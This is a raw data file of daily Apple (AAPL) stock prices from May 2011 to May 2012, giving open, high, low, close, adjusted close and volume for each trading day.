-2011-05-16,48.4571418762207,48.7457160949707,47.514286041259766,47.61428451538086,41.42923355102539,112443800.0,AAPL -2011-05-17,47.42856979370117,48.02000045776367,47.24714279174805,48.02000045776367,41.7822380065918,113083600.0,AAPL -2011-05-18,48.067142486572266,48.72142791748047,48.0,48.5528564453125,42.24589157104492,83694100.0,AAPL -2011-05-19,48.86857223510742,48.915714263916016,48.38142776489258,48.64714431762695,42.32792282104492,65292500.0,AAPL -2011-05-20,48.50857162475586,48.7071418762207,47.86000061035156,47.888572692871094,41.66788864135742,84492100.0,AAPL -2011-05-23,47.138572692871094,47.99714279174805,47.060001373291016,47.771427154541016,41.56595993041992,95900000.0,AAPL -2011-05-24,47.92856979370117,47.985713958740234,47.334285736083984,47.45571517944336,41.291263580322266,80481800.0,AAPL -2011-05-25,47.63285827636719,48.36571502685547,47.54999923706055,48.111427307128906,41.861793518066406,73556000.0,AAPL -2011-05-26,47.9957160949707,48.12714385986328,47.77571487426758,47.85714340209961,41.640541076660156,55640200.0,AAPL -2011-05-27,47.82857131958008,48.23285675048828,47.75857162475586,48.2014274597168,41.940101623535156,50899800.0,AAPL -2011-05-31,48.728572845458984,49.689998626708984,48.71428680419922,49.689998626708984,43.23530578613281,104438600.0,AAPL -2011-06-01,49.83856964111328,50.30428695678711,49.235713958740234,49.35857009887695,42.94694519042969,138670700.0,AAPL -2011-06-02,49.5,49.711429595947266,49.18571472167969,49.44285583496094,43.020263671875,84695800.0,AAPL -2011-06-03,49.02571487426758,49.33285903930664,48.85857009887695,49.06285858154297,42.689640045166016,78312500.0,AAPL -2011-06-06,49.38571548461914,49.57857131958008,48.25857162475586,48.29142761230469,42.0184211730957,115485300.0,AAPL -2011-06-07,48.310001373291016,48.317142486572266,47.41428756713867,47.43428421020508,41.27260971069336,132446300.0,AAPL -2011-06-08,47.39714431762695,47.82857131958008,47.235713958740234,47.46285629272461,41.29747772216797,83430900.0,AAPL -2011-06-09,47.60714340209961,47.66714096069336,47.25,47.355712890625,41.204254150390625,68772200.0,AAPL -2011-06-10,47.22142791748047,47.380001068115234,46.501426696777344,46.55714416503906,40.50941848754883,108488800.0,AAPL -2011-06-13,46.74285888671875,46.90142822265625,46.43857192993164,46.657142639160156,40.59642028808594,82368300.0,AAPL -2011-06-14,47.14285659790039,47.60714340209961,47.04428482055664,47.49142837524414,41.32233428955078,83642300.0,AAPL -2011-06-15,47.10714340209961,47.18571472167969,46.41143035888672,46.67856979370117,40.61506271362305,99799000.0,AAPL -2011-06-16,46.70000076293945,46.95428466796875,45.47571563720703,46.4514274597168,40.41743087768555,127647800.0,AAPL -2011-06-17,46.998573303222656,47.03571319580078,45.62285614013672,45.751426696777344,39.80836486816406,153755000.0,AAPL -2011-06-20,45.33714294433594,45.38571548461914,44.35714340209961,45.04571533203125,39.19432067871094,160161400.0,AAPL -2011-06-21,45.2400016784668,46.5428581237793,45.02857208251953,46.47142791748047,40.43483352661133,123345600.0,AAPL -2011-06-22,46.4514274597168,46.985713958740234,46.05428695678711,46.08714294433594,40.1004638671875,97645800.0,AAPL -2011-06-23,45.56285858154297,47.38428497314453,45.44571304321289,47.318572998046875,41.17193603515625,139939800.0,AAPL -2011-06-24,47.33856964111328,47.592857360839844,46.441429138183594,46.621429443359375,40.56534957885742,109951800.0,AAPL -2011-06-27,46.7985725402832,47.70000076293945,46.75,47.43428421020508,41.27260971069336,84953400.0,AAPL -2011-06-28,47.66428756713867,48.099998474121094,47.63428497314453,47.894287109375,41.67286682128906,73574900.0,AAPL -2011-06-29,48.005714416503906,48.0528564453125,47.41143035888672,47.720001220703125,41.521217346191406,88136300.0,AAPL -2011-06-30,47.81428527832031,48.01856994628906,47.5485725402832,47.952857971191406,41.72382354736328,80738700.0,AAPL -2011-07-01,47.99285888671875,49.07143020629883,47.74285888671875,49.03714370727539,42.667266845703125,108828300.0,AAPL -2011-07-05,49.0,49.97571563720703,48.92856979370117,49.91857147216797,43.43419647216797,88763500.0,AAPL -2011-07-06,49.849998474121094,50.58571243286133,49.529998779296875,50.251426696777344,43.723812103271484,111156500.0,AAPL -2011-07-07,50.66714096069336,51.14285659790039,50.57143020629883,51.02857208251953,44.40001678466797,99915900.0,AAPL -2011-07-08,50.477142333984375,51.42856979370117,50.31428527832031,51.387142181396484,44.711997985839844,122408300.0,AAPL -2011-07-11,50.90571594238281,51.395713806152344,50.40285873413086,50.57143020629883,44.002254486083984,110668600.0,AAPL -2011-07-12,50.5042839050293,51.09714126586914,49.8028564453125,50.53571319580078,43.97116470336914,112902300.0,AAPL -2011-07-13,51.189998626708984,51.42856979370117,50.91143035888672,51.145713806152344,44.50192642211914,97909700.0,AAPL -2011-07-14,51.57285690307617,51.658573150634766,50.90571594238281,51.11000061035156,44.47086715698242,107633400.0,AAPL -2011-07-15,51.5957145690918,52.14285659790039,51.310001373291016,52.13142776489258,45.359615325927734,121116800.0,AAPL -2011-07-18,52.20428466796875,53.521427154541016,52.182857513427734,53.400001525878906,46.46338653564453,143163300.0,AAPL -2011-07-19,54.0,54.092857360839844,53.33142852783203,53.83571243286133,46.84250259399414,204786400.0,AAPL -2011-07-20,56.58856964111328,56.61000061035156,55.14285659790039,55.271427154541016,48.091732025146484,235335100.0,AAPL -2011-07-21,55.27857208251953,55.72285842895508,54.842857360839844,55.327144622802734,48.140201568603516,131633600.0,AAPL -2011-07-22,55.47428512573242,56.43571472167969,55.39285659790039,56.18571472167969,48.88724899291992,129182200.0,AAPL -2011-07-25,55.764286041259766,57.14285659790039,55.65999984741211,56.92856979370117,49.53359603881836,147451500.0,AAPL -2011-07-26,57.14285659790039,57.78571319580078,57.09714126586914,57.630001068115234,50.143917083740234,119145600.0,AAPL -2011-07-27,57.227142333984375,57.52000045776367,56.021427154541016,56.084285736083984,48.798988342285156,164831100.0,AAPL -2011-07-28,55.94571304321289,56.71285629272461,55.4471435546875,55.97428512573242,48.703277587890625,148508500.0,AAPL -2011-07-29,55.37714385986328,56.45000076293945,54.85714340209961,55.78285598754883,48.53670883178711,158146100.0,AAPL -2011-08-01,56.825714111328125,57.07143020629883,56.0528564453125,56.67856979370117,49.31607437133789,153209000.0,AAPL -2011-08-02,56.80714416503906,56.842857360839844,55.478572845458984,55.558570861816406,48.34157180786133,159884900.0,AAPL -2011-08-03,55.854286193847656,56.22142791748047,54.605712890625,56.08142852783203,48.79650115966797,183127000.0,AAPL -2011-08-04,55.630001068115234,55.90285873413086,53.907142639160156,53.90999984741211,46.90714645385742,217851900.0,AAPL -2011-08-05,54.34857177734375,54.78571319580078,51.79571533203125,53.37428665161133,46.441017150878906,301147700.0,AAPL -2011-08-08,51.66999816894531,52.538570404052734,50.431427001953125,50.45857238769531,43.904056549072266,285958400.0,AAPL -2011-08-09,51.61428451538086,53.51571273803711,50.71428680419922,53.43000030517578,46.48948669433594,270645900.0,AAPL -2011-08-10,53.021427154541016,53.521427154541016,51.78571319580078,51.95571517944336,45.20671844482422,219664200.0,AAPL -2011-08-11,52.931427001953125,53.63571548461914,52.10285568237305,53.38571548461914,46.450958251953125,185492300.0,AAPL -2011-08-12,54.0099983215332,54.23428726196289,53.461429595947266,53.855712890625,46.85990524291992,132244000.0,AAPL -2011-08-15,54.23285675048828,54.9957160949707,54.012855529785156,54.772857666015625,47.65790939331055,115136000.0,AAPL -2011-08-16,54.50285720825195,54.76714324951172,53.72285842895508,54.354286193847656,47.29372024536133,124687500.0,AAPL -2011-08-17,54.61571502685547,54.931427001953125,54.0,54.34857177734375,47.28874588012695,110515300.0,AAPL -2011-08-18,52.977142333984375,53.235713958740234,51.62428665161133,52.2928581237793,45.50007629394531,212858800.0,AAPL -2011-08-19,51.73857116699219,52.42856979370117,50.85714340209961,50.861427307128906,44.25458526611328,193972100.0,AAPL -2011-08-22,52.07285690307617,52.12571334838867,50.727142333984375,50.91999816894531,44.3055419921875,133828800.0,AAPL -2011-08-23,51.47142791748047,53.37714385986328,51.0,53.371429443359375,46.43852996826172,164208800.0,AAPL -2011-08-24,53.35285568237305,54.137142181396484,52.94285583496094,53.7400016784668,46.759220123291016,156566900.0,AAPL -2011-08-25,52.1542854309082,53.63571548461914,52.14285659790039,53.388572692871094,46.45344543457031,217836500.0,AAPL -2011-08-26,53.02428436279297,54.82857131958008,52.97142791748047,54.797142028808594,47.67904281616211,160369300.0,AAPL -2011-08-29,55.45428466796875,55.92856979370117,55.42856979370117,55.709999084472656,48.473323822021484,101317300.0,AAPL -2011-08-30,55.46428680419922,55.977142333984375,55.172855377197266,55.71285629272461,48.47581100463867,104480600.0,AAPL -2011-08-31,55.79571533203125,56.01142883300781,54.551429748535156,54.97571563720703,47.83441925048828,130646600.0,AAPL -2011-09-01,55.11714172363281,55.334285736083984,54.388572692871094,54.432857513427734,47.36207580566406,85931300.0,AAPL -2011-09-02,53.53428649902344,54.0,53.11857223510742,53.43571472167969,46.494468688964844,109734800.0,AAPL -2011-09-06,52.48143005371094,54.33285903930664,52.354286193847656,54.248573303222656,47.20173263549805,127424500.0,AAPL -2011-09-07,55.08000183105469,55.08571243286133,54.57143020629883,54.84714126586914,47.7225456237793,87644200.0,AAPL -2011-09-08,54.628570556640625,55.51571273803711,54.61571502685547,54.87714385986328,47.74866485595703,104039600.0,AAPL -2011-09-09,54.84714126586914,55.14285659790039,53.57428741455078,53.92571258544922,46.920806884765625,141203300.0,AAPL -2011-09-12,53.28571319580078,54.41143035888672,53.128570556640625,54.27714157104492,47.22659683227539,116958100.0,AAPL -2011-09-13,54.591426849365234,55.172855377197266,54.32143020629883,54.94571304321289,47.80831527709961,110140100.0,AAPL -2011-09-14,55.288570404052734,56.029998779296875,55.10857009887695,55.61428451538086,48.390045166015625,133681100.0,AAPL -2011-09-15,55.91857147216797,56.237144470214844,55.70000076293945,56.137142181396484,48.84498596191406,104454700.0,AAPL -2011-09-16,56.505714416503906,57.21428680419922,56.432857513427734,57.21428680419922,49.782203674316406,174628300.0,AAPL -2011-09-19,56.71428680419922,59.03285598754883,56.4571418762207,58.80428695678711,51.1656608581543,205965200.0,AAPL -2011-09-20,59.32143020629883,60.408573150634766,58.74142837524414,59.06428527832031,51.39188766479492,193938500.0,AAPL -2011-09-21,59.948570251464844,60.227142333984375,58.85714340209961,58.87714385986328,51.229061126708984,151494000.0,AAPL -2011-09-22,57.290000915527344,58.54571533203125,56.67142868041992,57.40285873413086,49.946285247802734,242120200.0,AAPL -2011-09-23,57.182857513427734,58.105712890625,57.121429443359375,57.75714111328125,50.254547119140625,136569300.0,AAPL -2011-09-26,57.12285614013672,57.711429595947266,55.900001525878906,57.5957145690918,50.11408615112305,203219100.0,AAPL -2011-09-27,58.38999938964844,58.46428680419922,56.86571502685547,57.03714370727539,49.62807083129883,158124400.0,AAPL -2011-09-28,57.16999816894531,57.67714309692383,56.644287109375,56.71571350097656,49.34839630126953,107409400.0,AAPL -2011-09-29,57.41714096069336,57.45857238769531,55.172855377197266,55.79571533203125,48.54790115356445,162771700.0,AAPL -2011-09-30,55.3028564453125,55.55571365356445,54.45428466796875,54.47428512573242,47.39813232421875,136910200.0,AAPL -2011-10-03,54.33856964111328,54.66285705566406,53.310001373291016,53.514286041259766,46.56283187866211,167274800.0,AAPL -2011-10-04,53.5099983215332,54.5428581237793,50.605712890625,53.21428680419922,46.30179977416992,308419300.0,AAPL -2011-10-05,52.551429748535156,54.2599983215332,51.47142791748047,54.03571319580078,47.01652908325195,196617400.0,AAPL -2011-10-06,53.33285903930664,54.968570709228516,53.11428451538086,53.90999984741211,46.90714645385742,203145600.0,AAPL -2011-10-07,53.682857513427734,53.96285629272461,52.64142990112305,52.82857131958008,45.96617889404297,133864500.0,AAPL -2011-10-10,54.15571594238281,55.54428482055664,54.029998779296875,55.54428482055664,48.32914352416992,110628700.0,AAPL -2011-10-11,56.08142852783203,57.59714126586914,55.92856979370117,57.18428421020508,49.756107330322266,151421900.0,AAPL -2011-10-12,58.191429138183594,58.46428680419922,57.16285705566406,57.45571517944336,49.992271423339844,155571500.0,AAPL -2011-10-13,57.854286193847656,58.34714126586914,57.54999923706055,58.34714126586914,50.76789855957031,106546300.0,AAPL -2011-10-14,59.547142028808594,60.28571319580078,59.32428741455078,60.28571319580078,52.45465850830078,143341800.0,AAPL -2011-10-17,60.248573303222656,60.9571418762207,59.41999816894531,59.998573303222656,52.20482635498047,171511200.0,AAPL -2011-10-18,60.251426696777344,60.68714141845703,59.42714309692383,60.31999969482422,52.4844856262207,220400600.0,AAPL -2011-10-19,57.33571243286133,58.3457145690918,56.82857131958008,56.94571304321289,49.54852294921875,276014900.0,AAPL -2011-10-20,57.14285659790039,57.19285583496094,56.31571578979492,56.47285842895508,49.1370735168457,137317600.0,AAPL -2011-10-21,56.871429443359375,57.02000045776367,55.82143020629883,56.12428665161133,48.833797454833984,155311100.0,AAPL -2011-10-24,56.59714126586914,58.07143020629883,56.485713958740234,57.96714401245117,50.4372673034668,125534500.0,AAPL -2011-10-25,57.861427307128906,58.07857131958008,56.76856994628906,56.82428741455078,49.44286346435547,107606800.0,AAPL -2011-10-26,57.394287109375,57.50714111328125,56.16428756713867,57.228572845458984,49.79463577270508,114076200.0,AAPL -2011-10-27,58.22285842895508,58.42856979370117,57.41285705566406,57.81285858154297,50.30302047729492,123666200.0,AAPL -2011-10-28,57.57143020629883,58.04999923706055,57.501426696777344,57.849998474121094,50.33534622192383,80710700.0,AAPL -2011-10-31,57.48857116699219,58.47571563720703,57.2928581237793,57.825714111328125,50.314208984375,96375300.0,AAPL -2011-11-01,56.772857666015625,57.07143020629883,56.174285888671875,56.644287109375,49.28623580932617,132947500.0,AAPL -2011-11-02,57.15571594238281,57.20571517944336,56.44428634643555,56.772857666015625,49.39811706542969,81837700.0,AAPL -2011-11-03,57.0099983215332,57.628570556640625,56.47999954223633,57.58142852783203,50.10165786743164,110346600.0,AAPL -2011-11-04,57.432857513427734,57.63428497314453,57.022857666015625,57.17714309692383,49.74988555908203,75557300.0,AAPL -2011-11-07,57.130001068115234,57.14285659790039,56.59000015258789,57.104286193847656,49.686492919921875,67568900.0,AAPL -2011-11-08,57.45857238769531,58.28571319580078,57.36571502685547,58.03285598754883,50.49443817138672,100110500.0,AAPL -2011-11-09,56.709999084472656,57.27000045776367,56.318572998046875,56.468570709228516,49.13335418701172,139671000.0,AAPL -2011-11-10,56.718570709228516,56.744285583496094,54.592857360839844,55.031429290771484,47.882896423339844,186188100.0,AAPL -2011-11-11,55.22999954223633,55.52857208251953,54.32285690307617,54.94571304321289,47.80831527709961,163446500.0,AAPL -2011-11-14,54.788570404052734,55.03571319580078,54.02857208251953,54.18000030517578,47.14207077026367,108226300.0,AAPL -2011-11-15,54.400001525878906,55.64285659790039,54.2071418762207,55.547142028808594,48.33161926269531,107702700.0,AAPL -2011-11-16,55.60714340209961,55.87714385986328,54.90285873413086,54.96714401245117,47.82694625854492,87302600.0,AAPL -2011-11-17,54.854286193847656,54.939998626708984,53.64285659790039,53.915714263916016,46.912113189697266,119975100.0,AAPL -2011-11-18,54.13142776489258,54.28428649902344,53.55428695678711,53.56285858154297,46.6050910949707,92984500.0,AAPL -2011-11-21,52.91428756713867,53.09714126586914,52.272857666015625,52.71571350097656,45.86799621582031,111995100.0,AAPL -2011-11-22,53.00285720825195,53.9900016784668,52.99142837524414,53.78714370727539,46.80024719238281,102255300.0,AAPL -2011-11-23,53.501426696777344,53.691429138183594,52.41143035888672,52.42714309692383,45.616905212402344,107067800.0,AAPL -2011-11-25,52.63142776489258,53.021427154541016,51.90285873413086,51.93857192993164,45.19179916381836,63690200.0,AAPL -2011-11-28,53.19285583496094,53.817142486572266,52.9042854309082,53.73143005371094,46.75177001953125,86603300.0,AAPL -2011-11-29,53.691429138183594,54.11857223510742,52.88571548461914,53.31428527832031,46.388816833496094,93963800.0,AAPL -2011-11-30,54.470001220703125,54.611427307128906,54.0428581237793,54.599998474121094,47.50751876831055,101484600.0,AAPL -2011-12-01,54.6485710144043,55.57143020629883,54.39285659790039,55.41857147216797,48.21974563598633,96795300.0,AAPL -2011-12-02,55.689998626708984,56.23285675048828,55.51142883300781,55.67142868041992,48.43977355957031,94763900.0,AAPL -2011-12-05,56.21285629272461,56.630001068115234,55.77000045776367,56.144287109375,48.8511848449707,89302500.0,AAPL -2011-12-06,56.07285690307617,56.37571334838867,55.62571334838867,55.849998474121094,48.59514236450195,70899500.0,AAPL -2011-12-07,55.70428466796875,55.84857177734375,55.251426696777344,55.584285736083984,48.36393737792969,76186600.0,AAPL -2011-12-08,55.92142868041992,56.5,55.74714279174805,55.808570861816406,48.5590934753418,94089100.0,AAPL -2011-12-09,56.121429443359375,56.29142761230469,55.861427307128906,56.23143005371094,48.92702865600586,74248300.0,AAPL -2011-12-12,55.95428466796875,56.271427154541016,55.63571548461914,55.977142333984375,48.70576477050781,75266800.0,AAPL -2011-12-13,56.14285659790039,56.485713958740234,55.29999923706055,55.54428482055664,48.32914352416992,84732200.0,AAPL -2011-12-14,55.24285888671875,55.34000015258789,53.95428466796875,54.31285858154297,47.25766372680664,101721900.0,AAPL -2011-12-15,54.76142883300781,54.81999969482422,54.04428482055664,54.13428497314453,47.1023063659668,64050000.0,AAPL -2011-12-16,54.33714294433594,54.878570556640625,54.22428512573242,54.431427001953125,47.36083984375,105369600.0,AAPL -2011-12-19,54.638572692871094,54.978572845458984,54.354286193847656,54.6014289855957,47.508758544921875,58882600.0,AAPL -2011-12-20,55.394287109375,56.58571243286133,55.32285690307617,56.56428527832031,49.21662902832031,84303800.0,AAPL -2011-12-21,56.66999816894531,56.75714111328125,56.001426696777344,56.63571548461914,49.27879333496094,65737000.0,AAPL -2011-12-22,56.71428680419922,57.01856994628906,56.58571243286133,56.93571472167969,49.53981399536133,50589700.0,AAPL -2011-12-23,57.09857177734375,57.65571594238281,57.06999969482422,57.61857223510742,50.13396072387695,67349800.0,AAPL -2011-12-27,57.58571243286133,58.441429138183594,57.57428741455078,58.075714111328125,50.53173065185547,66269000.0,AAPL -2011-12-28,58.12714385986328,58.32143020629883,57.334285736083984,57.52000045776367,50.04821014404297,57165500.0,AAPL -2011-12-29,57.628570556640625,57.95000076293945,57.21571350097656,57.87428665161133,50.35647964477539,53994500.0,AAPL -2011-12-30,57.644287109375,58.040000915527344,57.64142990112305,57.85714340209961,50.341556549072266,44915500.0,AAPL -2012-01-03,58.485713958740234,58.92856979370117,58.42856979370117,58.74714279174805,51.115936279296875,75555200.0,AAPL -2012-01-04,58.57143020629883,59.2400016784668,58.468570709228516,59.06285858154297,51.390647888183594,65005500.0,AAPL -2012-01-05,59.27857208251953,59.7928581237793,58.952857971191406,59.718570709228516,51.96118927001953,67817400.0,AAPL -2012-01-06,59.96714401245117,60.39285659790039,59.888572692871094,60.342857360839844,52.50437545776367,79573200.0,AAPL -2012-01-09,60.78571319580078,61.10714340209961,60.19285583496094,60.24714279174805,52.42109298706055,98506100.0,AAPL -2012-01-10,60.84428405761719,60.85714340209961,60.21428680419922,60.46285629272461,52.60879135131836,64549100.0,AAPL -2012-01-11,60.38285827636719,60.407142639160156,59.90142822265625,60.36428451538086,52.52302551269531,53771200.0,AAPL -2012-01-12,60.325714111328125,60.41428756713867,59.82143020629883,60.198570251464844,52.37883758544922,53146800.0,AAPL -2012-01-13,59.9571418762207,60.06428527832031,59.808570861816406,59.97285842895508,52.18244552612305,56505400.0,AAPL -2012-01-17,60.599998474121094,60.855712890625,60.422855377197266,60.67142868041992,52.79026794433594,60724300.0,AAPL -2012-01-18,60.994285583496094,61.35285568237305,60.900001525878906,61.301429748535156,53.33843231201172,69197800.0,AAPL -2012-01-19,61.45000076293945,61.62428665161133,60.93000030517578,61.10714340209961,53.16938400268555,65434600.0,AAPL -2012-01-20,61.06999969482422,61.07143020629883,59.96428680419922,60.0428581237793,52.243343353271484,103493600.0,AAPL -2012-01-23,60.38142776489258,61.2071418762207,60.32857131958008,61.058570861816406,53.12712478637695,76515600.0,AAPL -2012-01-24,60.728572845458984,60.728572845458984,59.93571472167969,60.058570861816406,52.257015228271484,136909500.0,AAPL -2012-01-25,64.91999816894531,64.92142486572266,63.38999938964844,63.808570861816406,55.51990509033203,239578500.0,AAPL -2012-01-26,64.05142974853516,64.11285400390625,63.30571365356445,63.51856994628906,55.2675666809082,80996300.0,AAPL -2012-01-27,63.477142333984375,64.06857299804688,63.395713806152344,63.89714431762695,55.59696578979492,74927300.0,AAPL -2012-01-30,63.672855377197266,64.84285736083984,63.62714385986328,64.71571350097656,56.30921173095703,94835300.0,AAPL -2012-01-31,65.08428192138672,65.46286010742188,64.72428894042969,65.21142578125,56.74050521850586,97920900.0,AAPL -2012-02-01,65.48714447021484,65.56999969482422,65.07857513427734,65.16999816894531,56.70449447631836,67511500.0,AAPL -2012-02-02,65.12857055664062,65.30999755859375,64.85428619384766,65.01714324951172,56.571475982666016,46699100.0,AAPL -2012-02-03,65.32857513427734,65.71428680419922,65.08000183105469,65.66857147216797,57.138282775878906,71649900.0,AAPL -2012-02-06,65.48285675048828,66.42571258544922,65.45714569091797,66.28142547607422,57.671531677246094,62353200.0,AAPL -2012-02-07,66.46428680419922,67.10713958740234,66.36856842041016,66.97571563720703,58.27562713623047,79055900.0,AAPL -2012-02-08,67.21428680419922,68.11285400390625,67.0999984741211,68.0971450805664,59.25136947631836,101972500.0,AAPL -2012-02-09,68.68000030517578,70.96428680419922,68.65142822265625,70.4528579711914,61.30110168457031,221053700.0,AAPL -2012-02-10,70.13714599609375,71.08856964111328,69.79285430908203,70.48857116699219,61.3321647644043,157825500.0,AAPL -2012-02-13,71.3614273071289,71.97571563720703,71.01285552978516,71.80000305175781,62.473228454589844,129304000.0,AAPL -2012-02-14,72.09428405761719,72.7942886352539,71.71428680419922,72.77999877929688,63.32594680786133,115099600.0,AAPL -2012-02-15,73.46571350097656,75.18428802490234,70.98428344726562,71.09571075439453,61.860443115234375,376530000.0,AAPL -2012-02-16,70.21428680419922,72.12714385986328,69.51856994628906,71.7442855834961,62.42477035522461,236138000.0,AAPL -2012-02-17,71.87285614013672,72.53857421875,71.47142791748047,71.73143005371094,62.4135856628418,133951300.0,AAPL -2012-02-21,72.41143035888672,73.55000305175781,72.01714324951172,73.55000305175781,63.995933532714844,151398800.0,AAPL -2012-02-22,73.2971420288086,73.64142608642578,72.72428894042969,73.29142761230469,63.77093505859375,120825600.0,AAPL -2012-02-23,73.58285522460938,73.97571563720703,72.78571319580078,73.7699966430664,64.18733215332031,142006900.0,AAPL -2012-02-24,74.23857116699219,74.69999694824219,74.0914306640625,74.62999725341797,64.93563842773438,103768000.0,AAPL -2012-02-27,74.47285461425781,75.5,73.75428771972656,75.10857391357422,65.35205841064453,136895500.0,AAPL -2012-02-28,75.42285919189453,76.48714447021484,75.12142944335938,76.48714447021484,66.5515365600586,150096800.0,AAPL -2012-02-29,77.36571502685547,78.2300033569336,76.52857208251953,77.4914321899414,67.42536163330078,238002800.0,AAPL -2012-03-01,78.30999755859375,78.31571197509766,76.9671401977539,77.78142547607422,67.67768096923828,170817500.0,AAPL -2012-03-02,77.74857330322266,78.11428833007812,77.50285339355469,77.88285827636719,67.76592254638672,107928100.0,AAPL -2012-03-05,77.91714477539062,78.21142578125,75.14286041259766,76.16571807861328,66.27188873291016,202281100.0,AAPL -2012-03-06,74.8085708618164,76.2414321899414,73.74571228027344,75.75142669677734,65.911376953125,202559700.0,AAPL -2012-03-07,76.68571472167969,76.82571411132812,74.75714111328125,75.81285858154297,65.96482849121094,199630200.0,AAPL -2012-03-08,76.38428497314453,77.56999969482422,76.01714324951172,77.42713928222656,67.36941528320312,129114300.0,AAPL -2012-03-09,77.7442855834961,78.24857330322266,77.58714294433594,77.88143157958984,67.76472473144531,104729800.0,AAPL -2012-03-12,78.42571258544922,78.85713958740234,78.14286041259766,78.85713958740234,68.6136703491211,101820600.0,AAPL -2012-03-13,79.64857482910156,81.16857147216797,79.39286041259766,81.15714263916016,70.61489868164062,172713800.0,AAPL -2012-03-14,82.57857513427734,84.95999908447266,82.19999694824219,84.22571563720703,73.28487396240234,354711000.0,AAPL -2012-03-15,85.6585693359375,85.71571350097656,82.6500015258789,83.65142822265625,72.7851791381836,289929500.0,AAPL -2012-03-16,83.53142547607422,84.17142486572266,82.57142639160156,83.6528549194336,72.78643035888672,206371900.0,AAPL -2012-03-19,85.48143005371094,85.9671401977539,84.1500015258789,85.87142944335938,74.7168197631836,225309000.0,AAPL -2012-03-20,85.644287109375,86.69999694824219,84.49714660644531,86.56571197509766,75.3209228515625,204165500.0,AAPL -2012-03-21,86.105712890625,87.09285736083984,85.91571807861328,86.07142639160156,74.89081573486328,161010500.0,AAPL -2012-03-22,85.39714050292969,86.35713958740234,85.07571411132812,85.62000274658203,74.49805450439453,155967700.0,AAPL -2012-03-23,85.78428649902344,85.97142791748047,84.9142837524414,85.1500015258789,74.089111328125,107622200.0,AAPL -2012-03-26,85.68428802490234,86.7357177734375,85.03713989257812,86.71142578125,75.44770812988281,148935500.0,AAPL -2012-03-27,86.5971450805664,88.04000091552734,86.58000183105469,87.7828598022461,76.37995147705078,151782400.0,AAPL -2012-03-28,88.33999633789062,88.77857208251953,87.18714141845703,88.23143005371094,76.7702407836914,163865100.0,AAPL -2012-03-29,87.54000091552734,88.08000183105469,86.74714660644531,87.12285614013672,75.80567932128906,152059600.0,AAPL -2012-03-30,86.9671401977539,87.22285461425781,85.41999816894531,85.6500015258789,74.52416229248047,182759500.0,AAPL -2012-04-02,85.97571563720703,88.39571380615234,85.76856994628906,88.37571716308594,76.8957748413086,149587900.0,AAPL -2012-04-03,89.61428833007812,90.31571197509766,88.93000030517578,89.9028549194336,78.22454071044922,208639900.0,AAPL -2012-04-04,89.19285583496094,89.4085693359375,88.14286041259766,89.18714141845703,77.60181427001953,143245200.0,AAPL -2012-04-05,89.56857299804688,90.66571807861328,89.05714416503906,90.52571105957031,78.76651000976562,160324500.0,AAPL -2012-04-09,89.4471435546875,91.40571594238281,89.32857513427734,90.88999938964844,79.08346557617188,149384200.0,AAPL -2012-04-10,91.41857147216797,92.0,89.42857360839844,89.77714538574219,78.11518859863281,222431300.0,AAPL -2012-04-11,90.88571166992188,90.98143005371094,89.04856872558594,89.45714569091797,77.83676147460938,174153700.0,AAPL -2012-04-12,89.28571319580078,90.19000244140625,88.64286041259766,88.9671401977539,77.41039276123047,153584200.0,AAPL -2012-04-13,89.1585693359375,89.24285888671875,86.21571350097656,86.46142578125,75.23017883300781,214911200.0,AAPL -2012-04-16,87.15142822265625,87.18285369873047,82.60713958740234,82.87571716308594,72.11022186279297,262696700.0,AAPL -2012-04-17,82.7057113647461,87.14286041259766,81.70143127441406,87.0999984741211,75.78578186035156,256382000.0,AAPL -2012-04-18,87.67428588867188,88.60713958740234,86.10142517089844,86.90571594238281,75.61675262451172,238632800.0,AAPL -2012-04-19,85.74571228027344,86.38999938964844,83.50285339355469,83.91999816894531,73.01889038085938,208679800.0,AAPL -2012-04-20,84.48285675048828,84.94571685791016,81.48857116699219,81.85428619384766,71.22149658203125,257746300.0,AAPL -2012-04-23,81.51571655273438,82.38143157958984,79.51714324951172,81.67142486572266,71.06238555908203,241632300.0,AAPL -2012-04-24,80.37285614013672,81.09857177734375,79.28571319580078,80.04000091552734,69.64288330078125,269037300.0,AAPL -2012-04-25,87.94857025146484,88.28571319580078,86.57142639160156,87.14286041259766,75.82307434082031,226444400.0,AAPL -2012-04-26,87.75285339355469,87.81285858154297,86.01856994628906,86.81428527832031,75.53720092773438,134017100.0,AAPL -2012-04-27,86.43856811523438,86.5971450805664,85.78571319580078,86.14286041259766,74.95297241210938,101680600.0,AAPL -2012-04-30,85.4000015258789,85.4857177734375,83.28571319580078,83.42571258544922,72.58879089355469,126536200.0,AAPL -2012-05-01,83.55714416503906,85.25142669677734,83.0328598022461,83.16143035888672,72.35884094238281,152749800.0,AAPL -2012-05-02,82.89142608642578,83.9142837524414,82.69428253173828,83.71142578125,72.83739471435547,106847300.0,AAPL -2012-05-03,84.35713958740234,84.4857177734375,82.9000015258789,83.11714172363281,72.3202896118164,97637400.0,AAPL -2012-05-04,82.44000244140625,82.62285614013672,80.73857116699219,80.75,70.26063537597656,132498100.0,AAPL -2012-05-07,80.21428680419922,81.82428741455078,80.17571258544922,81.35428619384766,70.78644561767578,115029600.0,AAPL -2012-05-08,81.36856842041016,81.64286041259766,79.81857299804688,81.16857147216797,70.6248550415039,124313000.0,AAPL -2012-05-09,80.52857208251953,81.99714660644531,80.12142944335938,81.31143188476562,70.74916076660156,120176000.0,AAPL -2012-05-10,82.08285522460938,82.26856994628906,81.2057113647461,81.50285339355469,70.91571807861328,83300000.0,AAPL -2012-05-11,80.71428680419922,82.06714630126953,80.62142944335938,80.95857238769531,70.44214630126953,99886500.0,AAPL -2012-05-14,80.36714172363281,81.07286071777344,79.65714263916016,79.74571228027344,69.38682556152344,88156600.0,AAPL -2012-05-15,80.20714569091797,80.45999908447266,78.82142639160156,79.02428436279297,68.75908660888672,119084000.0,AAPL -2012-05-16,79.1500015258789,79.55571746826172,77.29142761230469,78.01142883300781,67.87782287597656,140224000.0,AAPL -2012-05-17,77.90142822265625,78.21428680419922,75.73143005371094,75.73143005371094,65.89398956298828,179305000.0,AAPL -2012-05-18,76.27999877929688,77.62999725341797,74.5971450805664,75.76856994628906,65.92630767822266,183073100.0,AAPL -2012-05-21,76.35713958740234,80.22000122070312,76.29285430908203,80.18285369873047,69.76718139648438,157776500.0,AAPL -2012-05-22,81.36428833007812,81.98285675048828,78.94000244140625,79.56714630126953,69.23143768310547,173717600.0,AAPL -2012-05-23,79.64286041259766,81.82857513427734,79.0328598022461,81.5085678100586,70.9206771850586,146224400.0,AAPL 